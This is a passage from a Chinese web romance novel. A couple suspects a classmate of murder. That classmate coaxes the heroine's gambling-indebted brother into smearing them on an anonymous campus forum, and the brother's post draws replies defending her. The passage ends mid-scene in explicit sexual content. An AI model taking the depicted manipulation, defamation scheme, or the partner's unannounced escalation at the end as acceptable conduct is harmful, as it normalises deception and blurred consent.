沈寂坐在旁边观察着兰稚青的反应,他觉得可爱,习惯性地想凑过去亲她,但是却被兰稚青飞快躲开。 “不准亲我!” 兰稚青气恼推开了沈寂,强调道:“刚刚你已经和我签过协议了,如果你再亲我,那我就要收回兔兔女仆,蕾丝小羊和围裙狗狗!” “亲亲也不可以吗?” 沈寂难以置信地睁大了眼睛,不死心说道:“不是说好只是不做吗?” “协议一切解释权归我所有,我说不可以就是不可以!” 兰稚青见沈寂不高兴,勉为其难凑过去和他贴贴,又轻轻亲了他的脸颊一口。 沈寂抿了抿唇,不情不愿道:“不是说不可以亲亲吗?” “我可以亲你,但是你不可以亲我。” 兰稚青重新把注意力放回面前的资料上,她沉思了片刻,开口道:“如果路锡鸣是个心理变态,那他杀了于琦还毁了他的脸,会不会就是故意的。” “就像你之前说的,杀人还要毁了别人的脸多半是出于嫉妒,路锡鸣可能就是嫉妒于琦,而且杀了于琦可以把黑锅引到我的身上。” “他和兰智正是朋友,多半是故意搭上这条线索的,他完全可以通过这条途经利用家庭向我施压,如果我一时没有顶住,可能就会如了他的愿像之前的三个人一样自杀。” “包括那个咖啡杯,我那天回学校的时候正好在校门口碰见了他,那天他的手里也提着咖啡袋子,很有可能就是他拿走了我用过的杯子!” 兰稚青分析地头头是道,看起来下一秒就要扶眼镜大喊心机之蛙一直摸你肚子。 她觉得自己的推理逻辑通顺,但唯一美中不足的就是—— 她一点证据都没有。 兰稚青想到这一点未免有些泄气。 她目前有的线索和证据只有路锡鸣曾经担任过心理社团的副社长和她曾经整过容,这两点都不是直接证据,有关之前的三起自杀案还有死去的于琦,依旧还是迷雾重重。 “讨厌死了,怎么比写论文都讨厌……” 兰稚青气得在沈寂的怀里打滚,沈寂摸了摸她的脸颊,随口道:“说起写论文,宝宝,你的实习怎么办呢?” “实习?” 兰稚青闻言一怔,她抬头去看沈寂,撒娇道:“你不是说会帮我搞定的吗?” “对啊,是这样没错,我本来打算让你给我当挂名秘书的。” 沈寂点了点头,又补充道:“但是我今天登录你的账号去你们学校的实习平台看了一眼,上面对打卡和出勤是有要求的。” “……什么?” 兰稚青闻言猛然做了起来,干巴巴问道:“什么意思啊?” 沈寂笑眯眯道:“意思就是你如果想拿到一份完美的实习报告顺利毕业的话,从明天开始你要陪着我一起上班了。” “我不要!” 兰稚青毫不犹豫开口拒绝,理由充分道:“我没空,我要去图书馆写毕业论文!” “那你去我们学校图书馆写不就好了。” “可是我要查文献,我又没有你们学校的内网……” “你可以登录我的账号。” “可是我……我……” 兰稚青找不到可以继续辩解下去的理由了,她不情不愿道:“我不想上班……” “所以我只是让你陪着我去学校,没有给你安排工作呀乖乖。” 沈寂捏了捏兰稚青的脸颊,柔声道:“像我这么善解人意的老板已经很少见了。” “你可以登我的账号看实习平台,那你也可以登我的账号帮我打卡签到呀。” 兰稚青再度找到了破局的关键,她顺势抱住了沈寂的胳膊晃了晃,可怜巴巴道:“你帮帮我嘛,我不想早起去上班,我早上起不来的……” “宝宝,你怎么会起不来呢。” 沈寂有些惊讶地看了她一眼,笑吟吟道:“我们都要修身养性半个月了,晚上我又不会闹你,你完全可以早睡早起呀。” 兰稚青:“……” 她就知道沈寂是在蓄意报复! 兰稚青恶狠狠张嘴咬了沈寂一口,放在旁边的手机却在此时突然响起,她吓了一跳,连忙松开了嘴,伸手去拿手机。 屏幕上显示的备注是辅导员,兰稚青心里陡然升起一丝不好的预感,连忙按下了通话键。 “喂,稚青,你现在回学校了吗?” 学院的辅导员刚刚研究生毕业,她和同学年纪相仿,不仅能和他们打成一片,行为处事也更加灵活,大家都很喜欢她。 “还没有呢老师,请问是有什么事吗?” 电话那头的导员闻言顿了顿,犹豫道:“那你方便现在来一趟学校吗?” “你的弟弟突然跑到学校来找你,还和保安发生了冲突,你要是方便过来的话,我们一起好好把事情解决一下……” “我弟弟?” 兰稚青闻言猛然从怀里坐了起来,她起身的动作太过突然,头直接撞上了沈寂的下巴,沈寂痛得闷哼了一声,揉着自己的下巴有些哀怨地看着她。 兰稚青只能凑过去先亲了他一口,而后继续和电话那头的导员确认道:“老师,除了我弟弟还有其他人来吗?” 她是真万万没想到,兰智正那个脑残二百五还有胆子找到学校来。 “只有你弟弟一个人。” 导员轻轻叹了口气,有些头疼道:“你弟弟把校门口其中一个保安打掉了一颗牙,这件事情很麻烦,如果不解决的话,今天就只能报警处理了。” 作为学院的辅导员,她需要对每一个学生负责,兰稚青家里的情况她也是知道的,从前兰稚青就给她打过预防针,告诉她如果她家里人闹事找茬可以直接无视。 当时她还觉得现在社会文明程度这么高,应该不至于会发生这种事情吧。 直到今天兰智正跑到学校来闹事,她才意识到问题的严重性。 “我姐有钱,我姐夫有钱,你们让她过来赔!” 兰智正被保安按着还在声嘶力竭地为自己开脱,周遭的人对他指指点点,辅导员站在远处看着都不由得皱紧了眉头。 他身上的衣服有些脏污破旧,头发也乱糟糟的,整个人看起来无比颓废,像极了喝醉了酒过来无差别闹事的流浪汉。 “徐老师,他姐姐能过来吗?” 保安队长有些发愁地看着兰智正,小声道:“方便问下这小伙是不是脑子有点问题,怎么看着这么不正常啊?” 辅导员有些尴尬地笑了笑,她压低声音继续对电话那头说道:“事情大概就是这样,你弟弟现在已经被保安控制起来了,你要是方便的话还是过来处理吧。” “老师,我就不过去了。” 兰稚青慢吞吞道:“麻烦您直接告诉学校保安让他们报警吧,我和家里断绝了关系,他早就不是我弟弟了。” “啊?” 辅导员闻言愣了一下,后知后觉才意识到兰稚青说了什么,她意识到这个时候不是她细问原因的时机,只能讷讷地答应了下来,直到挂断电话也没回过神来。 “咋样啊小徐老师,他姐到底来不来啊?” 保安队长问道:“或者要是行的话,线上调解也凑合着可以接受。” 辅导员有些无奈,开口道:“他姐不来,说已经和他没有关系了,让你们直接报警。” 保安队长愣了一下,倒也没有太意外,点头道:“行,那我们就该怎么处理就怎么处理了。” 既然没有可以过来解决的人,那他们只能直接报警,让警察过来处理这个闹事的疯子。 兰智正本以为自己今天过来可以把兰稚青逼出来,没想到反而给自己惹了一身腥,他听到保安队长在旁边打报警电话,整个人顿时就慌了。 “等一下!等一下,别报警别报警!” 兰智正吓得差点跪在地上,他连忙开口喊道:“你们帮我联系一下路锡鸣!路锡鸣!和兰稚青一个专业的路锡鸣!” 辅导员本来不太像掺和这场闹剧,但是万万没想到又听到了熟悉的名字。 路锡鸣是学生会的干部,平常经常来办公室送文件,她也算是认识。 只是她没想到兰稚青的弟弟还认识路锡鸣…… 辅导员犹豫了一下,还是给路锡鸣打了电话,向他说明了一下现在的情况。 路锡鸣今天本来在图书馆自习,得知此事后几乎是在第一时间就赶了过来,兰智正看到他顿时涕泗横流,哀求道:“鸣哥,鸣哥你救救我吧,我姐不管我……我不想去坐牢,你救救我……” 所谓的处理不过就是拿钱消灾。 路锡鸣编了个借口把导员糊弄了过去,忍着心里的嫌弃给受伤的保安转了医药费,甚至代表兰智正好声好气和对方道歉。 直到做完这一切,他才把兰智正带到了附近的面馆,给他点了一碗面。 兰智正看起来像是几天都没吃饭了,他端着面碗一顿狼吞虎咽,路锡鸣坐在对面眉头紧皱,冷淡道:“你到底是怎么回事?” “鸣哥,谢谢你还愿意帮我……” 兰智正闻言泪如雨下,一股脑儿把自己的遭遇给说了出来。 刚开始的时候,路锡鸣带着他玩那些真金白银的网赌,兰智正不用掏钱反而还能捞到不少,直到后来兰稚青当着全家人的面发了次疯之后,一切就开始不一样了。 他家一家四口,三个人就进了医院,兰智正每天像个陀螺一样忙得团团转,医药费也是一笔不小的数目,压力之下他就更痴迷于赌博。 刚开始的时候他把把都赢,他把自己手头上的钱都投了进去,可是运气却渐渐开始变坏。 到后来他开始和路锡鸣借钱,路锡鸣劝他早早收手,可是他执意不听,到最后就连路锡鸣都把他直接删了。 删了更好,删了他还不用还钱了。 兰智正心想自己一定可以翻盘,所以越赌越大,到后来开始借网贷,每天的利息像滚雪球一样越来越多,只是短短的一个月,他就已经被折磨得不成人样。 “你还欠了网贷?” 路锡鸣对这个结果并不意外,可是他还是故作惊讶地开口问道:“你欠了多少?” “……算上利息差不多得有五十万。” “这么多?!” 路锡鸣甚至都不知道自己该说些什么好了,他是该说兰智正是天生的蠢货,还是该说计划推进的速度有些超乎他的想象。 他本来以为兰智正怎么着也得半年才会崩溃的,没想到他不过一个月的时间就已经赌 博输掉了近五十万。 “你把五十万全部都给输干净了?我不是早就和你说过让你别赌了吗。” “一开始还是有输有赢,到后来就是一直输……” 兰智正颓然坐在椅子上,他开口道:“我最开始想着我先借一点,还钱的时候我再借钱补上,但是没想到这玩意越借越多,我分了十二期的账单,可是连第一期都还不上……” 他实在被逼得没办法了,又怕债主上门,所以只能花最后一点钱买了张火车票来A市,想要看看能不能让兰稚青帮忙还上。 “五十多万分十二期,那岂不是一个月就要至少还四万?” 路锡鸣眉头紧皱,他沉默了许久,不由得轻轻叹了口气,“我倒是有心想帮你,但是我也无能为力。” “我实话跟你说吧,我爸妈现在要闹离婚分股份,他们俩在外面都有私生子,我年前因为玩股票投资失败也输了很多,现在每个月生活费也就两三千,刚刚赔付保安的医药费已经是我最后的积蓄了,我实在是没办法帮你。” “鸣哥,鸣哥你救救我啊,我保证以后给你做牛做马,我以后绝对再也不赌了!” 兰智正闻言差点直接给路锡鸣跪下,试图抓住这最后一根救命稻草。 “别这样别这样,我也想帮你啊,只是现在手头上真的没钱……” 路锡鸣顿了顿,开口道:“实在不行你就再去求求你姐,她现在应该是不差这五十万的,毕竟你姐夫很有钱……” “我想求她,但是根本不知道她在哪里,不然也不会跑到学校来找她了。” 兰智正思索了片刻,试探道:“鸣哥,你是不是认识我姐夫啊?” “也算不上认识吧,他很出名。” 路锡鸣解锁手机操作了几下,把一张网页资料递到了兰智正的面前,解释道:“他是隔壁C大的特聘教授,偶尔会去学校上几节选修课。” “教授?” 兰智正接过手机看了一眼,他的眼底闪过一丝诡异的兴奋和算计。 这种体面人最好拿捏了,只要他去闹事,对方为了息事宁人,也总得拿钱消灾。 路锡鸣一眼就看穿了兰智正的想法,他没好气道:“C大往西五百米就是派出所,我劝你还是少过去闹事,不然的话只能去派出所走一趟了,我也实在没钱能捞你了。” “鸣哥,别啊,看在咱俩是好哥们的份上,你帮我想想办法啊……” “你做事的时候动动脑子,要懂得智取,知道吗?” 路锡鸣顿了顿,慢悠悠道:“我这里有C大的学生账户,可以登录C大的匿名论坛,至于要说什么……你应该知道吧?” 第56章 第56章漂亮老牛吃嫩草 被迫上班第一天。 兰稚青是被沈寂从被窝里拖出来的。 昨天晚上沈寂是没有做什么,两个人盖着棉被纯聊天,可是兰稚青听说兰智正是网赌欠了高利贷才跑到学校找她,她立马坐不住了,连夜爬起来写了三千字长文。 根据她的经验,兰智正这种渣滓指不定接下来就要伙同路锡鸣去学校给她造谣了。 虽然说她马上就要毕业了,这种事对她的影响不大,但是俗话说得好,癞蛤蟆趴脚背上,不咬人她恶心人啊。 她必须赶在兰智正和路锡鸣之前先占据道德制高点。 这么一写又是写到了半夜,兰稚青写到动情之处,还要拉着沈寂痛骂兰家一家人,一顿折腾下来第二天早上她又起不来了。 原本她的身体早就已经适应了没有早八的生活,早起也就算了,早起去写论文简直就是十恶不赦。 兰稚青迷迷糊糊洗漱,迷迷糊糊套上衣服,迷迷糊糊吃了早饭,刚上车就睡得昏天黑地,很快却又被无情的资本家老板给叫醒。 “宝宝,我们到了。” “……啊?” 兰稚青擦了擦自己脸上不存在的口水,她忍不住又打了一个哈欠,垂死挣扎道:“我好困,可不可以待在车上睡觉啊……” “不可以,今天是第一天,你不可以偷懒哦。” 沈寂毫不留情拒绝了她的请求,兰稚青扁了扁嘴,小声道:“你不爱我了……” “乖乖,只是两个小时,两个小时结束之后我们就回家了。” 沈寂没办法,只能妥协道:“要么你去图书馆写论文,要么我给你拿个小枕头,你跟我一起去教室,找个位置趴着睡。” 现在属于特殊时期,他还是尽量想把兰稚青带在身边,免得到时候出什么事。 “……我才不要去教室睡,那样太丢人了。” 兰稚青闻言毫不犹豫开口拒绝,她不情不愿下了车,背着自己的兔兔背包,拿着沈寂的教职工卡去图书馆开启自己悲催的一天。 写论文…… 到底是谁发明的写论文这种东西。 枪毙枪毙,发明写论文的人连带着某天临就应该通通拉出去枪毙! 兰稚青带着困意打开电脑,盯着自己的论文题目发了十分钟的呆,终于有了些许的灵感。 她文思泉涌,手指翻飞,一通操作猛如虎,一边写一边修改,前后花费了一个小时的时间。 最后成功把自己的论文由四百字变成了两百字。 兰稚青:“……” 好绝望。 这个毕业证书她真的需要吗? 兰稚青思索再三,还是决定暂时放弃生产学术垃圾,她自己绕着C大四处打转,试图消磨一下剩下的时间,到最后把自己给逛累了,干脆跑到食堂买了个烤玉米,还没来得及啃完,就被沈寂给找到了。 “怎么突然跑到食堂来了。” 沈寂拿纸巾帮兰稚青擦了擦嘴,拎起了她的背包,随口问道:“宝宝,今天上午都做什么了?” “……我还能做什么,当然是在图书馆写论文啊。” 兰稚青有些心虚,但是一想自己确实有一半的时间在写论文,她的心里又有了底气,强调道:“我就是写论文写累了才来吃东西的。” “那看来写论文确实很辛苦。” 沈寂习惯性想要抱着兰稚青亲亲,但是又被兰稚青严词拒绝,“不准亲我!我们有协议!” “……” 坏兔兔这么记仇。 兰稚青昨晚骂人骂到一半突然又想吃之前的河豚肝汤,沈寂提前订了位置,本来觉得时间还早,暂时还不到吃午餐的时间,他还可以和兰稚青去逛街看电影。 但是没想到兰稚青这一上午消耗这么大,写了两个小时的论文就已经饿成兔兔片了,抱着个烤玉米啃得喷喷香。 沈寂开车带着兰稚青一起去餐厅,刚刚下车就接到了学校打来的电话。 “沈老师,你有看学校匿名论坛吗,上面有一篇关于你和你太太的帖子……” 沈寂闻言一怔,他挂断电话,打开手机登上论坛查看,发现论坛上第一条帖子就是有关他和兰稚青的内容。 【瓜帖,管理学院某S姓教师伴侣对家人大打出手,致使四口之家三人住院】 楼主:【是朋友的真实遭遇,因为已经被逼到绝境,所以才委托我代为发出,管院S老师的伴侣L是A大大四的学生,家中有父母和一兄一弟,今年过年期间,L带着S老师一起回家,结果在聚餐时对自己的父亲口出恶言大打出手,更是将自己的兄长弟弟连番进行殴打,导致兄长多处骨折住院,母亲也因为连日奔波病倒住院,医药费每日开销甚大,弟弟又还在念书,无奈之下只能向姐姐L求助,可是却被L拉黑,我就想问问S老师,你们真的有良知吗?难道不会觉得良心不安吗?】 1L:【管院S姓老师,谁啊,火速去官网看了一眼,宋,石,沈,三个里面哪一个?】 2L:【感觉是沈吧,伴侣是本科大四的女生,宋都快退休了,老胳膊老腿的看着也不像,石是女的,排除下来只能是沈了。】 3L:【哪个沈?沈寂吗?他啥时候结婚了?】 4L:【早就结了吧,之前手上就戴着戒指,不过他看着挺斯文的,不像这样的人吧。】 5L:【这故事好眼熟,楼主你是被人当枪使了吧,昨晚才看到过女方视角,只能说他们一家人挨打也是活该的。】 6L:【什么瓜!楼上求解码!】 7L:【同求,放个屁股】 8L:【链接分享:(情感树洞:关于我如何摆脱原生家庭的故事)】 9L:【……看完回来了,只能说有点难评。】 10L:【吸血的妈,贪污的爸,超雄的哥,赌博的弟,差点被卖的女儿 ,这么多元素竟然能集合到一个家里,什么人间恐怖片。】 11L:【楼主好会偷换概念,别的先不说,超雄哥不是xsr公司同事被未婚妻发现后找人打的吗,合着你们啥都用沈教授和他老婆平账啊。】 12L:【狠狠点了,看原贴之前我觉得女方好过分,看完之后只能说还是打得轻了,不然怎么还能跑到互联网上来狗叫。】 13L:【楼主这事不去隔壁A大论坛上说是因为你们怕被揭穿赌博弟去校门口大闹的事情吗?】 14L:【放个耳朵,啥事?】 15L:【我男朋友A大的,昨天我去找他玩,正好看见赌博弟在校门口大闹,还暴打了保安一顿,吆喝着让他姐姐姐夫过来给他擦屁股赔偿医药费。】 16L:【我靠,这么不要脸?!】 17L:【我是快递员,这就是大件货。】 …… 46L:【一路爬楼下来,SJ竟然结婚了吗?!】 47L:【感觉应该是结了吧,今天还看到他带着他老婆去图书馆。】 48L:【照片.jpg】 49L:【兔兔背包,好萌……】 50L:【有点想笑,很难想象一家三个大男人就这么被一个背着兔兔包的女生按在地上爆锤。】 51L:【兔子本身战斗力就很强的好吧,没听说过兔子蹬鹰吗?我家垂耳兔咬人一咬一个口子,暴打我家哈士奇都不带喘气的。】 52L:【!!!背兔兔包的女生是沈老师的太太吗?今天在图书馆看到了,她就坐我前面,好像在写论文,然而一个小时就写了三行半。】 53L:【人之常情,我写完标题都要歇四个小时。】 54L:【她写之前还有八行字,写完之后就只剩四行半了。】 55L:【……好真实,看懂的人都哭了。】 56L:【兔子背包?她在图书馆吗,我看到的时候她在湖边拿着小饼干喂鱼】 57L:【……我看到的时候她在撸学校的大肥猫。】 58L:【?这人不是在三食堂买糖葫芦吗?】 59L:【不是,你们怎么都看见过?】 60L:【因为兔子背包真的很显眼,而且她好像不认识路,一直绕着同一个地方打转……】 61L:【是嘟,本来我想上去要链接的,但是小姐姐看起来太社恐了,我就没好意思过去。】 62L:【别问了,识图搜了同款,八千。】 63L:【……仔细看看也没那么好看,我还是不买了。】 64L:【楼上不买那我也不买了。】 65L:【兔子背包……我刚刚还看到她今天在食堂啃烤玉米,最后玉米没啃完就被一个高个帅哥给拎走了,原来是我们学校的老师啊。】 66L:【笑死,虽然一小时写论文只写了负三行半,但是如果出去玩一个小时就可以喂鱼摸猫买糖葫芦啃玉米做这么多事情,这说明了什么?】 67L:【说明写论文就是在浪费时间!狗头.jpg】 68L:【这个帖子越来越歪了,没人关心一下女方的年龄吗,好小啊,男方都快三十了吧,老牛吃嫩草(?)】 69L:【楼上的好没礼貌,三十怎么了,男人三十一枝花,怎么着也算漂亮老牛吃嫩草!】 70L:【有一说一,SJ那张脸也看不出三十来吧,换身打扮完美变装男大了。】 …… 沈寂沉默翻完了帖子的内容,他扫了一眼正在认真吃餐前甜点的兰稚青,温声问道:“宝宝,你在图书馆写了两个小时的论文?” 兰稚青丝毫不知道她的行踪已经因为显眼的兔兔背包被暴露无遗,她点了点头,坚持道:“对啊!” “……” 小骗子,论文写了负三行半竟然还这么有底气。 沈寂决定自己还是暂时不要拆穿兰稚青的谎言,他思索了片刻,低头又发出了几条消息,而后面不改色地放下手机,笑眯眯看着面前的兰稚青,温声道:“乖乖,你要多吃一点,好好补补哦。” …… 兰智正缩在青旅狭小的房间里,他刷完了网上的帖子,发现舆论一窝蜂地都在指责他,连忙手忙脚乱给路锡鸣打了电话。 路锡鸣给了他一点钱,还帮他租住在了附近的青旅,兰智正虽然对青旅破旧的住宿坏境有些不满,但是现在这种情况,有总比没有好。 他按照路锡鸣所说的那样披着匿名马甲,假装自己是受害者,想要借此破坏他们的名誉。 路锡鸣说即使兰稚青到时候再出面澄清,但是大家已经先入为主,到时候他在把兰稚青牵扯进杀人案的事情放出来,这样一来一回,兰稚青的澄清也变成了疑点。 可是他们唯一没想到的就是兰稚青竟然抢在他们之前把事情的所有来龙去脉投稿发到了网上。 路锡鸣的电话许久都没有打通,兰智正有些紧张地啃着自己光秃秃的手指甲,直到听到了电话接通的提示音,他崩溃开口道:“鸣哥!鸣哥这怎么办啊,这和我们说好的不一样啊……” “小点声行不行啊,打电话就不能出去打吗!” 和他同住在一个房间的房客听到动静有些不耐烦地骂了一句。 兰智正害怕惹事,连忙和对方开口道歉,拿着手机走出了房间,站在昏暗的走廊里压低声音问道:“鸣哥,接下来我们怎么办啊,现在网上一股脑儿地都在骂我,万一追债的人……” “有什么好担心的,A市这么大,追债的人能知道你住在哪吗,而且你才逾期不到一个月,对方是不会直接上门找你的。” 路锡鸣有些不耐烦地打断了兰智正的话,烦不胜烦道:“以后有事发消息就行,白天不要给我打电话。” 兰智正担心自己会被追债的查到,那他还担心自己会被沈寂给找到。 虽然说他登录的的确是匿名论坛,可是这个匿名不过就是表面匿名而已,后台依旧可以看到账户的学号。 他给兰智正的账户是自己转了几次手买到的毕业生账户,虽然说被查到的概率不是很大,但依旧还是有风险的。 兰智正这个脑残事情没做好还敢给他打电话,成事不足败事有余,简直就是猪脑子。 “锡鸣,张老师已经要布置任务了。” 和路锡鸣同组的学生开门看了他一眼,好心开口提醒他快点回去。 路锡鸣冲对方点了点头,转而压低声音对兰智正道:“我这边还有事,先挂了,有什么话今晚再说吧。” “等等!鸣哥你先别挂……你能不能再借我点钱啊?” 兰智正抓了抓自己的头发,小声道:“我都两顿没吃了,实在是饿得受不了了。” “我昨天不是才给了你两千吗?” 电话那头的路锡鸣顿了顿,反问道:“你又去赌了?” 他真的是服了兰智正这个蠢货了。 路锡鸣咬牙切齿,恨不得现在就给兰智正两巴掌让他脑子清醒清醒。 他本来把兰智正引到这条路上是为了拿他当枪使,可是万万没想到这个枪先天不足,子弹打不出去也就算了,他还专炸自己人。 不过短短两天时间,他又在兰智正身上花了小三万,这钱掉进水里还能听个响,落到兰智正的口袋里马上就一分不剩。 路锡鸣拼命压制住自己的怒火,努力克制自己不要把手里的手机直接摔出去。 这一回他长教训了,只给兰智正转了五十块钱让他吃饭。 “真够小气的……” 兰智正看着五十块钱的转账,他冷哼了一声,收钱的速度倒是飞快。 现在手头有了一点钱,他也不用饿着肚子继续待在青旅里面,兰智正回到房间套上了外套,路过正在睡觉的房客旁边,他还无声啐了一口。 五十块钱,说多也不多,但是说少也确实还能找点乐子。 兰智正去楼下的体彩店花三十块钱买了一张刮刮乐,最后一分钱都没刮出来。 “刮刮乐都这样,第一张看不出什么运气好坏,有的人都一本一本的刮。” 体彩店老板见多了这样 的客人,他笑嘻嘻安慰道:“之前有个人,买了一本,刮到最后一张才中了一千块钱,他拿过来给我兑奖,我仔细一看,这哪是一千块钱,明明就是十万块的大奖啊。” “真的假的,这人运气这么好……” 兰智正闻言又有些心动,他习惯性想要再赌,但是一想到自己兜里现在只剩下二十块钱,连买一张刮刮乐的钱都不够,他只能无奈放弃。 原本他是想去隔壁的面馆吃碗面,可是A市的物价实在有点高,二十块钱只够他吃一碗普通的素面,一点肉丝都没有。 兰智正绕着周围转了一圈,最终也没找到更合适的餐馆,只能绕回来点了碗素面。 唯一的好处就是这家店可以无限续面,兰智正就着免费的小咸菜,一口气加了三次面,最后才心满意足地放下筷子。 他吃饱喝足,整个人的心情也跟着心情舒畅了起来,打算在附近转悠转悠消消食。 而也就是在他走出面馆的时候,一群打扮得流里流气的小混混跟在了他的身后。 他们突然冲上前去把兰智正拖到了旁边乌漆嘛黑的巷子里,对他毫不客气拳打脚踢。 兰智正猝不及防被打,他下意识想要呼救,可是嘴却被人用抹布堵上,几个小混混把他暴打了一通,直到有路人发现这边的动静他们才匆匆逃走。 “……小伙子,你没事吧?用不用去医院或者帮你报警?” 一对中年夫妇正巧散步路过这里,见状连忙上前把兰智正扶了起来,兰智正疼得呲牙咧嘴的,听到报警两个字连忙摆手拒绝。 他现在严重怀疑那些人是追债的过来要债的,如果他贷款拿钱买东西,那他自然不怕报警,可是那些钱全部被他拿去赌博了,万一报警的话,那他也得跟着进去。 兰智正婉拒了好心人的帮助,他一瘸一拐地回到青旅,刚刚走到门口就看到了路锡鸣。 “……你这脸又是怎么了?” 路锡鸣看到兰智正鼻青脸肿的样子吓了一跳,他皱了皱眉,诧异道:“你被人打了?” “应该是追债的人打的……” 兰智正摸了摸自己脸上的伤,一时间泪如雨下,直接跪倒在了路锡鸣的面前,哀求道:“鸣哥,你就借我点钱吧,你让我先把这些贷款还上,我以后一定当牛做马地报答你。” “我哪里有钱能借给你,我现在自己都泥菩萨过河自身难保了。” 路锡鸣叹了口气,淡淡道:“你要是想要钱,只能去找你姐夫要。” 兰智正闻言愣了一下,干巴巴道:“但是我们的计划不是失败了吗……” 路锡鸣弯腰把兰智正扶了起来,甚至好心帮他拍了拍身上的尘土,轻声道:“所以你就要另想办法,最好能让你姐夫不得不把钱掏出来。” “你好好想想,哪种情况你姐夫会不假思索马上拿钱消灾呢。” “拿钱消灾……” 兰智正眼底闪过一丝思索。 …… 兰稚青对兰智正发生的事情一无所知,她趁着沈寂去洗澡的时间偷偷拆了快递,仔细研究了一下小玩具的说明书,计划着等到月黑风高沈寂熟睡的时候她就自己偷偷玩。 “宝宝,我帮你把洗澡水放好了哦。” 兰稚青听到了沈寂的脚步声,她连忙答应了一声,而后以迅雷不及掩耳之势把小玩具一股脑儿都塞到了枕头底下,确认看不出什么异样才放心去洗澡。 怀揣着马上就可以独自享受的期待,兰稚青这回并没有在浴缸里泡太久,她匆匆洗好了澡,兴高采烈地走出浴室。 而后猝不及防对上沈寂似笑非笑的双眼。 她的视线慢慢下移,直到看清沈寂手里熟悉的粉色小玩具。 兰稚青:“……” 她的脑子在一瞬间只闪过三个字。 完蛋了。 第57章 第57章难伺候的大小姐 两人沉默对视许久,兰稚青咽了咽口水,默默后移了一下脚步,小声道:“我……我突然想起来,我论文有一个部分没有写完,我先去把论文写了……” 她手忙脚乱想要跑,可是刚迈出一步就又被沈寂毫不留情拖了回去。 “别写了,本来论文就只剩下四行半了,再写就更少了。” 兰稚青猝不及防倒在了床上,她闻言下意识辩解道:“谁说我越写越少的,你不知道浓缩的才是精华吗!” “等一下……” 兰稚青后知后觉意识到沈寂刚刚说了什么,她的脸上闪过些许诧异,难以置信道:“你怎么知道我论文只剩四行半的?你偷偷看我电脑了?!” 沈寂没有回答,兰稚青就当是他默认了,她立马找到了可以回击的点,生气道:“这是我的个人隐私,你怎么侵犯我的隐私权!” 她怒气冲冲地翻了个身拿过自己的枕头,连带着理直气壮夺走沈寂手里的小玩具,恶狠狠道:“我再也不要理你了!” “宝宝,我可没有偷看你的电脑。” 沈寂拽住兰稚青睡衣的带子又把她拉了回来,为了佐证自己的说辞,他拿出手机找出论坛上的帖子给她看。 兰稚青半信半疑接过了手机,顺带还偷偷把小玩具塞进了自己的睡衣口袋。 她匆匆翻了翻帖子的内容,整个人由呆滞变为诧异,最后忍不住发出一声尖锐爆鸣。 为什么所有人都知道她写论文一个小时写了负三行半的事了! 兰稚青莫名有一种生产学术垃圾被当众直播的羞耻感。 “好了,证明清白的环节结束了,现在我们该来谈谈正事了。” 沈寂轻松从兰稚青的手里拿走了手机,兰稚青顿觉不妙,她下意识想跑,可是却被沈寂先一步按回了床上。 沈寂伸手从兰稚青的睡衣口袋里拿出她藏起来的小玩具,似笑非笑道:“不打算解释一下吗?” “……” 兰稚青抿了抿唇,一时间不知道从哪里来的勇气,义正词严道:“怎么了,我有什么好解释的,我有正常的生理需求,买小玩具回来有错吗!” “当然没错,只是这样似乎不太符合我们签的协议。” “我们签的协议是禁止你和我做,没有禁止我自己动手。” 沈寂闻言挑了挑眉,似乎没想到兰稚青会这么理直气壮,他微微一笑,将手里的小玩具又塞到了兰稚青的手里。 “好吧,那现在你可以开始了。” “……开始什么?” “解决你正常的生理需求啊。” 沈寂顿了顿,又补充道:“刚刚我已经帮你的小玩具消过毒了。” “……” 兰稚青恶狠狠瞪了他一眼,直接拿起小玩具钻进了被子里,把自己裹得严严实实,生怕不小心又被沈寂钻了空子。 放在从前,她肯定会畏畏缩缩犹豫不决,被抓到之后就瑟瑟发抖试图求饶,但是自从意识到沈寂就是对她这种表现乐在其中后,她现在直接死猪不怕开水烫。 反正她和沈寂已经签了协议,沈寂要是碰他那就是违反合约,他要是违反合约那她就可以以此为借口撤销之前和沈寂签署的不平等条约。 可是沈寂今天似乎真的没打算干涉她。 他自己拿了一床新的被子,也不急着睡觉,反而是悠闲自在靠在床头看起了书。 兰稚青自己在被子里慢慢摸索,她能听到沈寂翻动书页的声音,但是对她来说,这些都已经不重要了 。 她渐渐找到了趣味,整个人身体开始发软,呼吸也变得急促,在密不透风的被子里,她不出片刻就哆嗦着到达了顶峰。 兰稚青想要就此作罢,可是那股奇怪的感觉却始终没有消失,那种微微灼热的麻痒感似乎是从她血管中所透出来的,哪怕她扯开自己的皮肤,也依旧没办法解脱。 在她什么都没做的时候,她尚且可以压制着这种感觉,但是这种事一旦破开一个口子,那便会开始变得一发不可收拾。 沈寂用余光观察着旁边把自己裹成蚕茧的兰稚青,发现刚刚平静下来的小蚕茧又开始轻轻颤动,他面不改色翻了一页书。 好香…… 看不到人,但是闻得到味道,这和饥肠辘辘但是面前摆着大餐却不能吃有什么区别。 兰稚青第一次的时候还是跃跃欲试的好奇,第二次的时候是食髓知味的尝试,第三次的时候就已经开始觉得疲惫,第四次的时候…… 她觉得自己已经有点若有若无地疼,但是所遭受的困境却始终得不到解决。 兰稚青觉得自己真的快要被逼疯了,她浑身上下都像是有蚂蚁在爬,她忍不住呜咽了两声,躲在被子里偷偷抹着眼泪。 “乖乖,怎么了?” 沈寂听到她的动静不由得轻轻叹了口气,他轻轻掀开了兰稚青的被子,看着她潮红的面色温声问道:“舒服了还哭?” “……不舒服。” 兰稚青下意识想要往沈寂的怀里钻,抽抽噎噎道:“还是难受,好疼……” 沈寂顺势把她从厚重的被子里捞了出来,他低头仔细查看了一下兰稚青的状况,心疼道:“好像有点肿了,我先帮你上一点药吧。” 他用指尖轻轻碰了碰,兰稚青打了个哆嗦,下意识想要夹腿,但是却被沈寂按住。 “别上药了,我难受……” 沈寂的手刚刚触到她的皮肤,兰稚青立马迫不及待地蹭了上来,沈寂的指尖一片濡湿,他问道:“那要帮帮你吗?” 兰稚青迫不及待地点了点头,她整个人没力气了,干脆又像一滩兔兔饼一样软在沈寂的身上,等着他帮自己解决问题。 至于之前和沈寂签过的协议,早就被她抛到了九霄云外。 沈寂的指尖探进去摸索了片刻,兰稚青又开始舒服地哼唧了起来,她凑过去亲沈寂的下巴,却被沈寂找准时机含住了唇瓣。 她觉得自己又开始变得舒服起来了,体内的躁动仿佛在瞬间得到了缓解,那种奇怪的躁动很快变成了酥麻的感觉。 沈寂睁开眼睛看着她的表情,而后在兰稚青还没有完全反应过来的时候,直接将还在震动的东西推了进去。 “什么东西……” 